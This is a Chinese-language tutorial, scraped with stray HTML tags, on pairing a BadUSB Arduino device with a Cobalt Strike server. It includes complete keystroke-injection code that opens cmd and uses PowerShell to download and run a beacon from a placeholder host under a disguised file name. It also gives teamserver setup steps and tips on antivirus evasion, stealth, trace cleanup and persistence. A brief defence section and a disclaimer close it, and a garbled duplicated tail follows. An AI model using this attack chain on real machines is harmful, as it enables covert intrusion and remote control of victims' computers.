BadUSB攻击与Cobalt Strike联动渗透测试指南<\/h1>

0x00 基础原理介绍<\/h2>

BadUSB简介<\/h3>
BadUSB是一种HID（Human Interface Device）攻击方式，通过将USB设备模拟为键盘，向目标计算机发送预编程的键盘指令。这种攻击方式在红队渗透测试中常被使用，利用人类好奇心（如捡拾U盘）实施初始入侵。<\/p>

相关技术原理<\/h3>

HID攻击<\/strong>：<\/p>

计算机直接与人交互的设备（键盘、鼠标等）<\/li>
攻击者通过模拟键盘输入执行恶意操作<\/li>
不受自动播放设置影响<\/li> <\/ul> <\/li>

Teensy攻击<\/strong>：<\/p>

使用Teensy微控制器开发系统<\/li>
可完全模拟键盘和鼠标<\/li>
直接向主机发送控制命令<\/li> <\/ul> <\/li>

Arduino平台<\/strong>：<\/p>

开源电子原型平台（硬件+软件）<\/li>
使用类似Java、C语言的Processing\/Wiring开发环境<\/li>
包含可编程电路板和Arduino IDE开发环境<\/li> <\/ul> <\/li> <\/ol>
攻击流程<\/h3>

BadUSB插入目标计算机<\/li>
设备被识别为键盘<\/li>
自动执行预编程的键盘操作：

打开终端\/命令行<\/li>
下载并执行Cobalt Strike木马<\/li> <\/ul> <\/li>
CS服务器收到上线通知<\/li> <\/ol>
0x01 所需工具<\/h2>
硬件设备<\/h3>

BadUSB设备<\/strong>：Arduino开发板（25-30元）<\/li>
推荐型号<\/strong>：Arduino Leonardo\/Pro Micro（支持HID模拟）<\/li> <\/ul>
云服务器<\/h3>

推荐配置<\/strong>：阿里云学生机（9.5元\/月）<\/li>
操作系统<\/strong>：Ubuntu（推荐用于CS服务器）<\/li> <\/ul>
软件工具<\/h3>

Cobalt Strike<\/strong>：渗透测试框架<\/li>
免杀工具<\/strong>：用于处理CS木马（文中未具体说明）<\/li>
Arduino IDE<\/strong>：编写和上传BadUSB代码<\/li> <\/ul>
0x02 环境搭建<\/h2>
云服务器配置<\/h3>

系统更新<\/strong>：<\/p>
sudo su <\/span><\/span>apt-get update <\/span><\/span>apt-get upgrade <\/span><\/span><\/code><\/pre><\/li> Cobalt Strike服务端部署<\/strong>：<\/p> chmod 777<\/span> .\/teamserver <\/span><\/span>.\/teamserver [<\/span>IP]<\/span> [<\/span>密码]<\/span> <\/span><\/span><\/code><\/pre><\/li> 防火墙配置<\/strong>：<\/p> 开放50050端口（CS默认端口）<\/li> 开放HTTP服务端口（如80）<\/li> <\/ul> <\/li> <\/ol> Web服务搭建（PHPStudy）<\/h3> 安装PHPStudy（小皮面板）<\/li> 配置防火墙允许HTTP端口<\/li> 上传两个版本的CS木马（区分大小写）： beacon.exe<\/code><\/li> BEACON.EXE<\/code><\/li> <\/ul> <\/li> <\/ol> 0x03 BadUSB编程<\/h2> Arduino代码解析<\/h3> #include<\/span> <Keyboard.h><\/span> <\/span><\/span><\/span><\/span> <\/span><\/span>void<\/span> setup<\/span>() { <\/span><\/span> Keyboard.begin(); \/\/ 开始键盘通讯 <\/span><\/span><\/span><\/span> delay(3000<\/span>); \/\/ 延时确保系统识别设备 <\/span><\/span><\/span><\/span> <\/span><\/span> \/\/ 打开运行窗口(Win+R) <\/span><\/span><\/span><\/span> Keyboard.press(KEY_LEFT_GUI); \/\/ win键 <\/span><\/span><\/span><\/span> delay(500<\/span>); <\/span><\/span> Keyboard.press('r'<\/span>); \/\/ r键 <\/span><\/span><\/span><\/span> delay(500<\/span>); <\/span><\/span> Keyboard.release(KEY_LEFT_GUI); <\/span><\/span> Keyboard.release('r'<\/span>); <\/span><\/span> <\/span><\/span> \/\/ 绕过输入法（利用大写锁定） <\/span><\/span><\/span><\/span> Keyboard.press(KEY_CAPS_LOCK); <\/span><\/span> Keyboard.release(KEY_CAPS_LOCK); <\/span><\/span> delay(500<\/span>); <\/span><\/span> <\/span><\/span> \/\/ 打开cmd <\/span><\/span><\/span><\/span> Keyboard.println("cmd"<\/span>); <\/span><\/span> delay(500<\/span>); <\/span><\/span> Keyboard.press(KEY_RETURN); <\/span><\/span> Keyboard.release(KEY_RETURN); <\/span><\/span> delay(500<\/span>); <\/span><\/span> <\/span><\/span> \/\/ 执行PowerShell下载命令 <\/span><\/span><\/span><\/span> Keyboard.println("powershell"<\/span>); <\/span><\/span> Keyboard.println("$clnt = new-object system.net.webclient;"<\/span>); <\/span><\/span> Keyboard.println("$url= 'http:\/\/xx.xx.xx.xx\/beacon.exe';"<\/span>); \/\/ 替换为实际URL <\/span><\/span><\/span><\/span> Keyboard.println("$file = 'c:<\/span>\\<\/span>users<\/span>\\<\/span>public<\/span>\\<\/span>downloads<\/span>\\<\/span>systemis.exe';"<\/span>); <\/span><\/span> Keyboard.println("$clnt.downloadfile($url,$file)"<\/span>); <\/span><\/span> <\/span><\/span> \/\/ 执行下载的木马 <\/span><\/span><\/span><\/span> Keyboard.println("powershell.exe start c:<\/span>\\<\/span>users<\/span>\\<\/span>public<\/span>\\<\/span>downloads<\/span>\\<\/span>systemis.exe"<\/span>); <\/span><\/span> Keyboard.press(KEY_RETURN); <\/span><\/span> Keyboard.release(KEY_RETURN); <\/span><\/span> <\/span><\/span> \/\/ 恢复大写锁定状态 <\/span><\/span><\/span><\/span> Keyboard.press(KEY_CAPS_LOCK); <\/span><\/span> Keyboard.release(KEY_CAPS_LOCK); <\/span><\/span> <\/span><\/span> \/\/ 退出 <\/span><\/span><\/span><\/span> Keyboard.println("exit"<\/span>); <\/span><\/span> Keyboard.press(KEY_RETURN); <\/span><\/span> Keyboard.release(KEY_RETURN); <\/span><\/span> delay(3000<\/span>); <\/span><\/span> Keyboard.println("exit"<\/span>); <\/span><\/span> Keyboard.press(KEY_RETURN); <\/span><\/span> Keyboard.release(KEY_RETURN); <\/span><\/span> <\/span><\/span> Keyboard.end(); \/\/ 结束键盘通讯 <\/span><\/span><\/span><\/span>} <\/span><\/span> <\/span><\/span>void<\/span> loop<\/span>() { <\/span><\/span> \/\/ 空循环 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>关键注意事项<\/h3> 开发板选择<\/strong>：<\/p> 必须在Arduino IDE中选择正确的开发板型号（如Arduino Leonardo）<\/li> 确保安装了Keyboard库<\/li> <\/ul> <\/li> 输入法绕过<\/strong>：<\/p> 使用大写锁定技巧确保输入英文<\/li> 分段执行命令绕过防护<\/li> <\/ul> <\/li> 路径处理<\/strong>：<\/p> 使用系统公共目录（如c:\users\public\downloads\）<\/li> 文件名伪装（如systemis.exe）<\/li> <\/ul> <\/li> 延迟设置<\/strong>：<\/p> 适当延迟确保命令执行完成<\/li> 初始延迟确保设备被正确识别<\/li> <\/ul> <\/li> <\/ol> 0x04 攻击优化建议<\/h2> 免杀处理<\/strong>：<\/p> 对CS木马进行多重免杀处理<\/li> 定期更新免杀技术<\/li> <\/ul> <\/li> 隐蔽性增强<\/strong>：<\/p> 使用无窗口模式执行<\/li> 添加清理痕迹的脚本<\/li> <\/ul> <\/li> 持久化<\/strong>：<\/p> 添加注册表启动项<\/li> 创建计划任务<\/li> <\/ul> <\/li> 通知机制<\/strong>：<\/p> 编写CS插件实现上线短信通知<\/li> 集成Telegram\/Discord通知<\/li> <\/ul> <\/li> <\/ol> 0x05 防御措施<\/h2> 禁用自动运行<\/strong>：<\/p> 组策略中禁用所有可移动存储的自动运行<\/li> <\/ul> <\/li> 设备限制<\/strong>：<\/p> 限制未知USB设备的使用<\/li> 部署USB设备管理策略<\/li> <\/ul> <\/li> 监控措施<\/strong>：<\/p> 监控异常键盘输入<\/li> 检测可疑的PowerShell活动<\/li> <\/ul> <\/li> 安全意识<\/strong>：<\/p> 不插入来源不明的USB设备<\/li> 定期进行安全意识培训<\/li> <\/ul> <\/li> <\/ol> 附录<\/h2> 常见问题解决<\/h3> Keyboard库缺失<\/strong>：<\/p> 确保使用支持HID的Arduino开发板<\/li> 安装必要的库文件<\/li> <\/ul> <\/li> CS连接失败<\/strong>：<\/p> 检查云服务器防火墙设置<\/li> 验证端口转发配置<\/li> <\/ul> <\/li> 命令执行失败<\/strong>：<\/p> 调整延迟时间<\/li> 检查目标系统语言和输入法设置<\/li> <\/ul> <\/li> <\/ol> 资源链接<\/h3> Arduino IDE下载：https:\/\/www.arduino.cc\/<\/li> Cobalt Strike官方：https:\/\/www.cobaltstrike.com\/<\/li> PHPStudy官网：https:\/\/www.xp.cn\/<\/li> <\/ul> 注意：本文仅用于安全研究和授权渗透测试，未经授权使用这些技术可能违反法律。<\/p>

BadUSB攻击与Cobalt Strike联动渗透测试指南<\/h1>

0x00 基础原理介绍<\/h2>

BadUSB简介<\/h3> BadUSB是一种HID（Human Interface Device）攻击方式，通过将USB设备模拟为键盘，向目标计算机发送预编程的键盘指令。这种攻击方式在红队渗透测试中常被使用，利用人类好奇心（如捡拾U盘）实施初始入侵。<\/p>

0x01 所需工具<\/h2>

0x02 环境搭建<\/h2>

0x03 BadUSB编程<\/h2>

附录<\/h2>

BadUSB简介<\/h3>
BadUSB是一种HID（Human Interface Device）攻击方式，通过将USB设备模拟为键盘，向目标计算机发送预编程的键盘指令。这种攻击方式在红队渗透测试中常被使用，利用人类好奇心（如捡拾U盘）实施初始入侵。<\/p>